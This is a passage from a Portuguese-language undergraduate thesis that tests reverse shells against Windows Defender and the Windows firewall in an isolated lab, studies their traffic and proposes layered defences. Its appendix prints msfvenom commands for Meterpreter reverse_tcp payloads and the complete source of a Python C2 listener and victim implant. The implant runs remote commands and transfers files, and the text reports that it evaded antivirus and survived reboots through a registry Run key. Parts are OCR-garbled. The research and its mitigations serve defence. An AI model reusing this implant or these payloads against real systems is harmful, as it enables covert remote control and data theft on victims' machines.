Python (.exe) nao detecta sim sim conecta / bloqueia

*Medido com excecao temporaria no Defender (Secao 3.5). Fonte: dados da pesquisa.

O Windows Defender bloqueou e removeu os payloads Meterpreter raw, codificado e
stager antes mesmo da execucao, todos com a assinatura idéntica Trojan:Win32/Zusy.NCD!MTB
(Figura 2). Essa é uma evidéncia direta de que nem o encoder nem a entrega via stager
alteraram a assinatura percebida pelo Defender. Para estudar a conexao e a persisténcia
do stager foi preciso aplicar a excecao temporaria descrita na Secao 3.5; com ela ativa,
o stager executou e estabeleceu a conexao reversa. A copia de persisténcia, gravada em
ATEMPY, (fora da pasta excluida), foi removida pelo Defender, restando apenas a chave de
registro o6rfa (Secao 4.4). Ja o reverse shell préprio em Python nao foi detectado pelo
Defender (sem necessidade de excegdo), executou e abriu uma sessao funcional, na qual
foi possivel executar comandos remotos como whoami, hostname e dir (Figura 3). Esse
contraste é o achado central do trabalho: um artefato personalizado e simples evadiu
o antivirus nativo, ao passo que as ferramentas prontas, amplamente assinadas, foram

prontamente bloqueadas.



Capitulo 4. Resultados e Discussdo 30

Figura 2 — Windows Defender detecta e remove o payload Meterpreter.

O Ameaca bloqueada Grave

17/06/2026 07:52

Detectado: Trojan:Win32/Zusy.NCD!MTB
Status: Removido
Uma ameaga ou um app foram removidos deste dispositivo.

Data: 17/06/2026 0T:52
Detalhes: Este programa € perigoso e executa os comandos de um invasor.

ltens afetados:
file: CAUsers\wboxuser,Downloads\Nao confirmado 920770.crdownload

webfile: CA\Users\wboxuser\Downloads\Nio confirmado
920770.crdownload|http://192.168.56.10:8080/raw.exe|
pid:3516,ProcessStart:134261671619475643

Saiba mais
Acbes

Fonte: dados da pesquisa.

4.3 Comportamento do firewall

Avaliou-se o firewall do Windows em duas configuragoes. Com a politica de saida
padrao, a conexao reversa foi estabelecida normalmente, pois as conexoes de saida sao
permitidas por padrao. Ao aplicar uma regra de saida restritiva bloqueando a porta
utilizada (4444), a conexao foi impedida: o cliente Python falhou com o erro WinError
10013 (“acesso a um soquete proibido pelas permissoes de acesso”), como mostra a Figura 4.
Esse resultado confirma, de modo pratico, o papel central da filtragem de saida discutida
na Secao 2.2 e sustenta a principal recomendagao de mitigacao de rede (Capitulo 5): sem
saida na porta de C2, o reverse shell nao funciona, independentemente de ter evadido o

antivirus.

4.4 Persisténcia

A persisténcia foi aplicada criando-se uma chave de auto-inicio no registro (HKCU\ . . . \Run,
valor WindowsUpdate) apontando para a copia do executéavel, conforme a técnica T1547.001
(MITRE, 2024a) (Figura 5). Observaram-se dois comportamentos distintos. Para o payload
Python (ndo detectado), a persisténcia foi efetiva: apds a reinicializagao da vitima, a sessdo
reconectou automaticamente ao atacante. Para o stager Meterpreter, a persisténcia foi
parcial: o Windows Defender removeu o executavel copiado, mas nao eliminou a chave

de registro, que permaneceu 6rfa. Esse comportamento é, em si, um resultado defensivo
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Figura 3 — Sessao do reverse shell Python: a vitima conecta ao listener e o atacante

executa comandos.

-[/media/../TCC/Experimento/codigo/servidor
servidor.py 68.5 ] rta 4444
[#] Listener ativo em 192. (lab isolado)

Cc2>
[+] Nova vitima conectada: 2.168.56.20:52291
list

[@] 192.168.56.2
6.20. Digite 'voltar' par:

hostname

nome.

1.616 v tinstall.log
Windows
1.616 bytes
78 6 bytes disponeveis

Fonte: dados da pesquisa.

Figura 4 — Bloqueio da conexao pela regra de saida do firewall (WinError 10013).

€3 Unhandled exception in script

proibida pelas permissdes de acesso

@ Failed to execute script 'cliente’ due to unhandled exception: [WinError 10013] Foi feita uma tentativa de acesso a um soquete de uma maneira que é

X

Traceback (most recent call last):
File "cliente.py”, line 63, in <module>
File "cliente.py”, line 22, in main
PermissionErrer: [WinErrer 10013] Foi feita uma tentativa de acesso a um soquete de uma maneira que € preibida pelas permissées de acesso

Close

Fonte: dados da pesquisa.

relevante: a limpeza do antivirus pode ser incompleta, deixando rastros (a chave 6rfa) que

servem de evidéncia para a resposta a incidentes.

4.5 Analise do trafego de rede

A partir das capturas (.pcap), o script de andlise (Segao 3.7) extraiu, para cada

sessao, as sequéncias de atraso, direcao e tamanho dos pacotes. A captura do payload

codificado nao apresentou sessao na porta 4444, coerente com seu bloqueio pelo Defender

antes da execucao.
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Figura 5 — Chave de registro de auto-inicio criada pela persisténcia (T1547.001).

nt e /f
o foi conclueda com #xito.

und
crosoft\Edge\Applica
tup-window
REG_SZ C:\Testes\dist

shell@192.168.56.20>

Fonte: dados da pesquisa.

Na sessao do reverse shell Python, observou-se o padrao de thought time descrito por
Liu et al. (2023): cargas uteis pequenas (em média cerca de 76 a 80 bytes, correspondendo
a comandos) separadas por intervalos longos e irregulares entre pacotes. A Tabela 6 resume
as estatisticas de atraso das sessoes analisadas. Nas duas sessoes do shell Python, o atraso
médio foi de 5,6s (n = 12 pacotes vélidos) e 29,2s (n = 11), com picos de 52,7s e 184,7s
(Figura 6); a mediana, contudo, ficou em torno de 0,04s. Esse forte contraste entre a
mediana (quase nula) e a média/méximo revela uma distribuigdo assimétrica: a maioria
dos pacotes corresponde a respostas quase instantaneas, e sdo as raras pausas humanas
que elevam a média, o que caracteriza justamente o comportamento de thought time. Esses
intervalos refletem o tempo de reflexdo humano do atacante entre comandos e contrastam
fortemente com o trafego automatizado legitimo, que tende a ser regular e em rajadas.
Ja o stager Meterpreter apresentou cargas uteis muito maiores (em média entre 1,6 KB e
3,1 KB) e mediana de atraso igualmente baixa (cerca de 0,02s), caracteristica da entrega do
payload avancado em estagios. Em ambos os casos, as caracteristicas de comportamento, e
nao o conteido, permitem distinguir o trafego malicioso, o que fundamenta a recomendacao

de deteccao comportamental discutida no Capitulo 5.

Tabela 6 — Estatisticas de atraso entre pacotes por sessao (em segundos).

Sessao n (pacotes) Média Mediana Maéaximo
Python (sessao 1) 12 5,6 0,04 52,7
Python (sessdo 2) 11 29,2 0,05 184,7
Stager (sessao 1) 183 2,6 0,02 68,0
Stager (sessao 2) 176 1,5 0,02 65,6

Fonte: dados da pesquisa.

Na Figura 6, cada ponto representa o intervalo entre um pacote e o seguinte: os
valores proximos de zero correspondem a respostas automaticas (o eco do comando e a
sua saida), enquanto o pico isolado de cerca de 52s indica uma pausa humana, em que o
atacante 16 a saida e decide o préximo comando. E esse ritmo irregular, com pausas longas
intercaladas por respostas quase instantaneas, que caracteriza a interacao humana de um

reverse shell e o distingue do trafego automatizado, ainda que o conteido esteja cifrado.
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Figura 6 — Atraso entre pacotes (thought time) em uma sessao do reverse shell Python: o
eixo horizontal traz a ordem dos pacotes da sessdo e o vertical, o tempo (em
segundos) decorrido até o pacote seguinte.

Atraso entre pacotes — sessao 1

50 A1

40 1

30 A

Atraso (s)

20 1

10 1

0 2 4 6 8 10
Pacote valido (ordem)

Fonte: dados da pesquisa.

4.6 Discussao

Os resultados convergem para quatro conclusoes principais. Primeiro, a deteccao
baseada em assinatura é fragil frente a artefatos personalizados: na primeira medicao, o
shell Python (12/70; nao detectado pelo Defender) evadiu o que as ferramentas Meterpreter,
amplamente catalogadas, ndo conseguiram (3743 de 70; bloqueadas pelo Defender). Essa
fragilidade, porém, é também temporal: um més depois a deteccao do Python subiu para
40/69 (Secao 4.1), a medida que a amostra se tornou conhecida, o que apenas reforga que
a assinatura, além de fragil, ¢ um alvo mével. Segundo, técnicas ingénuas de ofuscagao,
como o encoder x64/xor, nao bastam para evasao. Convém ressaltar que, diferentemente
de Panwar et al. (2023), a variante stager deste trabalho ndo obteve evasao: por utilizar
o stub padrao do Metasploit, manteve a assinatura conhecida do framework. A evasao
observada por aqueles autores depende de um carregador personalizado, sem assinatura, o
que ¢ tratado como trabalho futuro (Segao 5.4). Terceiro, a filtragem de saida é uma defesa
eficaz e independente do antivirus: mesmo o payload que evadiu o Defender foi impedido
de se conectar quando a saida foi bloqueada. Quarto, a andlise comportamental, de
persisténcia (chave de registro) e de trafego (thought time), detecta o que a assinatura nao

identifica. Esses achados fundamentam diretamente as estratégias de mitigacao propostas
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no Capitulo 5.

4.7 Consideracoes finais

Este capitulo apresentou e discutiu os resultados obtidos nas cinco dimensoes
avaliadas, destacando o contraste central do trabalho: o shell préprio em Python, por
ser um artefato novo, evadiu a deteccao por assinatura que as ferramentas prontas do
Metasploit nao conseguiram contornar, embora essa evasao tenha se mostrado temporal.
Verificou-se, ainda, que a filtragem de saida é eficaz mesmo contra o artefato que evadiu o
antivirus e que a andalise comportamental do trafego e do registro detecta o que a assinatura
nao identifica. O proximo capitulo consolida esses achados em um conjunto de estratégias

de mitigacao, apresentando também as contribuigoes, as limitagdes e os trabalhos futuros.
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5 Conclusao

Este trabalho implementou e avaliou, em ambiente controlado, técnicas de reverse
shell com persisténcia, analisando sua capacidade de evasao frente a antivirus e firewalls e
propondo, a partir dos resultados, estratégias de mitigacao. Confirmou-se que a técnica
é eficaz em contornar protegoes tradicionais (especialmente firewalls que filtram apenas
conexoes de entrada e antivirus baseados em assinatura) e que sua persisténcia no Windows
é obtida com técnicas simples, porém deixando evidéncias detectaveis. A seguir, consolidam-

se as estratégias de mitigacao, as contribuigoes, as limitacoes e os trabalhos futuros.

5.1 Estratégias de mitigacao propostas

Com base nos resultados obtidos e na literatura, propde-se um conjunto de medidas

em camadas:

o Filtragem de saida: configurar regras de firewall que restrinjam as conexoes de
saida, e nao apenas as de entrada. Como o reverse shell depende de uma conexao
iniciada pela vitima, essa é a defesa de rede mais direta (MANGLANT et al., 2021).

o Segmentacgao de rede: dividir a rede em segmentos com controles préprios limita o
alcance do atacante e a movimentacao lateral apds o comprometimento (PANWAR
et al., 2023).

o Deteccao comportamental de trafego: empregar NIDS que analisem o compor-
tamento do trafego, como a sequéncia de atraso entre pacotes (thought time), em

vez de apenas assinaturas, o que permite detectar reverse shells inclusive cifrados
(LIU et al., 2023; NIKHIL; CHADHA; SHANMUGAM, 2023).

o Defesa de endpoint baseada em comportamento: priorizar solugoes de EDR
sobre antivirus puramente baseados em assinatura, dada a facilidade de evasao

observada por Panwar et al. (2023).

 Monitoramento de auto-inicio e de registro: instrumentar os hosts com fer-
ramentas como o Sysmon (Microsoft, 2026) e regras de detec¢ao para alteragoes
em chaves Run (técnica T1547.001 (MITRE, 2024a)), capturando a persisténcia no

momento em que ela é estabelecida.

o Principio do menor privilégio e application allowlisting: restringir privilégios
limita o alcance da persisténcia (a chaves do usuério) e o controle de aplicagoes

impede a execucao de binarios nao autorizados.



Capitulo 5. Conclusdo 36

« Conscientizagao e prevengao de phishing: como a infecgao inicial frequentemente
depende de engenharia social (MANGLANTI et al., 2021), a capacitagao dos usudrios

é uma camada essencial de defesa.

5.2 ContribuicGes

A principal contribui¢ao deste trabalho é integrar, em um tnico estudo experimental,
as trés perspectivas usualmente tratadas de modo isolado na literatura: a implementacao da
técnica com persisténcia, a avaliacdo empirica de sua evasao frente a antivirus e firewalls, e
a analise do trafego para fins defensivos. Como subprodutos, disponibilizam-se um reverse
shell préprio em Python (com o respectivo protocolo documentado), um script de analise
de trafego baseado no conceito do ETDetector (LIU et al., 2023) e um roteiro reproduzivel

de laboratério.

5.3 Limitacoes

Os resultados de detecgao representam um retrato temporal, pois dependem da
data e da versao das assinaturas dos antivirus. O ambiente é uma rede local isolada,
que nao reproduz integralmente as condi¢oes de uma rede corporativa real. Por fim, a
submissao de amostras ao VirusTotal as torna publicas, o que constitui uma limitagao

metodologica ja discutida na Secao 3.8.

5.4 Trabalhos futuros

Como desdobramentos, sugerem-se as seguintes frentes:

e implementar um carregador personalizado para o stager, que baixe o shellcode para
a memoria sem assinatura conhecida do Metasploit, de modo a reproduzir a evasao
observada por Panwar et al. (2023) (no presente trabalho, o stub padrao manteve a

assinatura e foi detectado);
« avaliar outras técnicas de evasao, como ofuscacao, cifragem do canal e file binding;
« ampliar o conjunto de antivirus e incluir solu¢oes de EDR corporativas;

o implementar e validar, de modo automatizado, um detector comportamental de
trafego inspirado no ETDetector (LIU et al., 2023);

» estender o estudo a outros sistemas operacionais e a cenarios com segmentacao de

rede e NIDS dedicados.
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5.5 Consideracdes finais

Em sintese, este trabalho indicou que o reverse shell contorna com facilidade as
protecoes tradicionais, sobretudo os firewalls que filtram apenas conexoes de entrada e os
antivirus baseados em assinatura, mas deixa rastros comportamentais tanto no trafego
quanto no sistema. A principal mensagem é que uma defesa eficaz nao pode depender
exclusivamente de assinaturas: ela precisa combinar a filtragem das conexoes de saida, a
segmentacao da rede e a deteccao baseada em comportamento. Espera-se que os resultados
obtidos e o material reproduzivel disponibilizado contribuam para o entendimento da

técnica e para a construcao de defesas mais robustas.
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APENDICE A - Materiais elaborados pelo

autor

Este apéndice retine os materiais elaborados pelo autor: o roteiro de demonstragao

do experimento e o coédigo-fonte do reverse shell desenvolvido em Python.

A.1 Roteiro de demonstracao

O roteiro a seguir resume a demonstragao do experimento, executdavel em poucos

minutos a partir dos snapshots limpos das maquinas virtuais, em rede isolada.
1. Preparacgao: restaurar o snapshot “limpo” da vitima (Windows) e iniciar a captura
de trafego no atacante (Kali).

2. Listener: iniciar o servidor de escuta no atacante (msfconsole com exploit/multi/handler,

ou o servidor.py para o shell em Python).

3. Deteccgao: submeter o payload ao VirusTotal e observar a reacao do Windows

Defender ao copia-lo para a vitima.
4. Execucgao: executar o payload na vitima e exibir a sessdo aberta no atacante.

5. Persisténcia: aplicar a persisténcia, reiniciar a vitima e mostrar a reconexao auto-

matica, com a chave de registro de auto-inicio como evidéncia.

6. Firewall: aplicar uma regra de saida restritiva e demonstrar que a conexao ¢

impedida.

7. Analise: rodar o script de andlise de trafego sobre a captura e exibir o gréfico do

atraso entre pacotes.

A.2 Geracdo dos payloads (msfvenom)

Comandos utilizados para gerar os payloads de comparagao (executados no Kali,

com LHOST igual ao IP do atacante no laboratério):

Listing A.1 — Geracao dos payloads de comparagao.

1 |# Payload "raw" (linha de base)
2 |msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10
LPORT=4444 \
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-f exe -0 raw.exe

# Payload codificado
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10
LPORT=4444 \

-e x64/xor -i 5 -f exe -o encoded.exe

# Shellcode do stager (hospedado via Apache) -- requer sudo para
escrever em /var/www/html
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10
LPORT=4444 \
-f raw -o /var/www/html/shellcode.bin

A.3 Cédigo-fonte do reverse shell em Python (lado atacante, liste-

ner)

A seguir, o cédigo-fonte do servidor (listener) do reverse shell desenvolvido em
Python, conforme descrito na Secao 3.3. O cédigo completo do experimento, com finalidade
estritamente educacional e de pesquisa, encontra-se disponivel no repositério publico do

trabalho, no endere¢o <https://github.com/thiagomaravilha/reverse-shell>.

Listing A.2 — servidor.py: listener do reverse shell.

#!/usr/bin/env python3

servidor .py - Lado ATACANTE do reverse shell (listener), em Python.

Implementacao propria e didatica, inspirada no modelo de MANGLANI et al.
(2021) :
servidor multithread que aceita varias vitimas, lista as conexoes e
permite interagir
com uma de cada vez (comandos ’list’ / ’select’), alem de upload/

download de arquivos.

USO RESTRITO A LABORATORIO ISOLADO. Pesquisa academica autorizada, fim

defensivo.

Uso:

python3 servidor.py --host 192.168.56.10 --porta 4444

import argparse
import base64
import socket

import threading
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MARCADOR_FIM = b"<FIM_ARQ>" # delimitador de fim de transferencia de
arquivo
TAM_BUFFER = 4096

clientes = [] # lista de dicts: {"sock", "addr"}
trava = threading.Lock ()

def aceitar_conexoes (servidor):
"""Thread 1: aceita conexoes das vitimas e as guarda na lista."""
while True:
try:
sock, addr = servidor.accept()
except OSError:
break
with trava:
clientes.append ({"sock": sock, "addr": addr})
print (£"\n[+] Nova vitima conectada: {addr [0]}:{addr[1]}")

def enviar(sock, texto):
"""Envia um comando codificado em base64 (linha)."""

sock.sendall (base64.b64encode (texto.encode()) + b"\n")

def receber_saida(sock):
"""Recebe a saida (base64) ate o marcador de fim de mensagem."""
dados = b""
while not dados.endswith(b"\n"):
parte = sock.recv (TAM_BUFFER)
if not parte:
return None
dados += parte

return base64.b64decode (dados.strip()) .decode(errors="replace")

def baixar_arquivo(sock, caminho_remoto):

"""download: recebe um arquivo da vitima e salva localmente."""
enviar (sock, f"download {caminho_remotol}")
nome_local = caminho_remoto.replace("\\", "/").split("/")[-1]
dados = b""
while True:

parte = sock.recv(TAM_BUFFER)

if not parte:

break

dados += parte
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if dados.endswith (MARCADOR_FIM):
dados = dados[: -1len(MARCADOR_FIM)]
break
with open(nome_local, "wb") as f:
f.write (dados)
print (£" [+] Arquivo salvo como ./{nome_local} ({len(dados)} bytes)")

def enviar_arquivo(sock, caminho_local):
"""upload: envia um arquivo local para a vitima."""
try:
with open(caminho_local, "rb") as f:
conteudo = f.read()
except OSError as e:
print(£"[!] Erro ao abrir arquivo: {el}")
return
nome = caminho_local.replace("\\", "/").split("/")[-1]
enviar (sock, f"upload {nomel}")
sock.sendall (conteudo + MARCADOR_FIM)
print (£" [+] Enviado {nome} ({len(conteudo)} bytes)")

def interagir(cliente):
"""Console de interacao com uma vitima selecionada."""
sock = cliente["sock"]
print (£" [*] Interagindo com {cliente[’addr’][0]}. Digite ’voltar’
para sair.")
while True:
cmd = input(f"shell@{cliente[’addr’][0]}> ") .strip()
if not cmd:
continue
if cmd == "voltar":
return
try:
if cmd.startswith("download "):
baixar_arquivo(sock, cmd.split(" ", 1)I[1])
continue
if cmd.startswith("upload "):
enviar_arquivo (sock, cmd.split(" ", 1) [1])
continue
enviar (sock, cmd)
saida = receber_saida(sock)
if saida is None:
print (" [!] Vitima desconectou.")
with trava:
if cliente in clientes:

clientes.remove(cliente)
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return
print (saida)
except (ConnectionError, OSError):
print (" [!] Conexao perdida com a vitima.")

return

def console(servidor):
"""Console principal do atacante: list / select / sair."""
while True:
cmd = input ("\nC2> ") .strip()
if cmd == "list":
with trava:
if not clientes:
print (" (nenhuma vitima conectada)")
for i, ¢ in enumerate(clientes):
print (£" [{i}] {c[’addr’]1[0]}:{c[’addr’]1[1]13}")
elif cmd.startswith("select "):
try:
n = int(cmd.split (" ", 1)[11)
with trava:
cliente = clientes[n]
interagir (cliente)
except (ValueError, IndexError):
print ("[!] Indice invalido. Use ’list’ para ver as
vitimas.")
elif cmd == "sair":
servidor.close ()

print ("Encerrando.")

return
else:
print ("Comandos: list | select <n> | sair")
def main():
ap = argparse.ArgumentParser (description="Listener do reverse shell.

")

ap.add_argument ("--host", default="0.0.0.0", help="endereco de
escuta")

ap.add_argument ("--porta", type=int, default=4444, help="porta de
escuta")

args = ap.parse_args()

servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
servidor.setsockopt (socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
servidor.bind ((args.host, args.porta))

servidor.listen (5)
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print (£" [*] Listener ativo em {args.host}:{args.porta} (lab isolado)
ll)

threading.Thread (target=aceitar_conexoes, args=(servidor,), daemon=
True) .start ()

try:
console(servidor)

except KeyboardInterrupt:

servidor.close ()

if __name __main_ _

main ()

A.4 Codigo-fonte do reverse shell em Python (lado vitima, im-

plante)

A seguir, o cédigo-fonte do cliente executado na vitima, que implementa o protocolo
especificado na Segao 3.3 (conexao de volta ao atacante e o lago receber — executar — res-
ponder, com upload/download). Empacotado com PyInstaller (-onefile -noconsole),
este codigo gera o executavel avaliado como python_exe nos testes, o tinico payload nao
detectado pelo Windows Defender (Capitulo 4). A persisténcia (Segao 3.4) ndo estd em-
butida no implante: foi aplicada externamente, pela propria sessao, com o comando reg
add.

Listing A.3 — cliente.py: implante executado na vitima.

#!/usr/bin/env python3

cliente.py - Lado VITIMA (implante) do reverse shell, em Python.

Conecta de volta ao atacante (back connection) e executa o laco
receber -> executar -> responder, com upload/download de arquivos.
Empacotado com PyInstaller (--onefile --noconsole) gera o cliente.exe

avaliado como ’python_exe’ nos testes.

USO RESTRITO A LABORATORIO ISOLADO. Pesquisa academica autorizada, fim
defensivo.

Executar apenas contra VMs proprias, em rede sem acesso a internet/rede
real.

import socket, subprocess, os, base64

HOST
PORT

’192.168.56.10° # IP do atacante (listener)

4444 # porta do canal de comando e controle
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MARCADOR_FIM = Db"<FIM_ARQ>" # delimitador de fim de transferencia de
arquivo
TAM_BUFFER = 4096

def enviar(sock, texto):
"""Envia a saida codificada em base64, terminada por nova linha."""
sock.sendall (base64.b64encode (texto.encode()) + b"\n")

def receber_cmd (sock):

"""Recebe um comando (base64) do atacante ate a nova linha; None se
cair."""

dados = b""

while not dados.endswith(b"\n"):
parte = sock.recv (TAM_BUFFER)
if not parte:

return None

dados += parte

return base64.b64decode(dados.strip()).decode(errors="replace")

def main():
"""Conecta ao atacante e mantem o laco receber -> executar ->
responder . """
sock = socket.socket ()
sock.connect ((HOST, PORT)) # conexao de volta (reverse) ao
atacante
while True:
cmd = receber_cmd(sock)
if cmd is None:
break # atacante encerrou: sai do laco
if cmd.startswith("cd "): # muda de diretorio
localmente
try:
os.chdir(cmd [3:].strip (D)
enviar (sock, "")
except Exception as e:

enviar (sock, str(e))

elif cmd.startswith("download "): # envia arquivo da vitima ->
atacante
path = cmd.split(" ", 1) [1]
try:

with open(path, "rb") as f:
sock.sendall (f.read() + MARCADOR_FIM)
except Exception as e:
sock.sendall(str(e).encode() + MARCADOR_FIM)
elif cmd.startswith("upload "): # recebe arquivo do atacante
-> vitima

nome = cmd.split(" ", 1) [1]
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dados = b""
while True:
parte = sock.recv(TAM_BUFFER)
dados += parte
if dados.endswith(MARCADOR_FIM):
dados = dados[:-1len(MARCADOR_FIM)]
break
with open(nome, "wb") as f:
f.write(dados)
enviar (sock, f"Upload OK: {nomel}")

else: # comando comum: executa e

if __name

main ()

devolve a saida
try:
saida = subprocess.check_output (
cmd, shell=True, stderr=subprocess.STDOUT,
timeout=10
) .decode (errors="replace")
except Exception as e:
saida = str(e)

enviar (sock, saida)




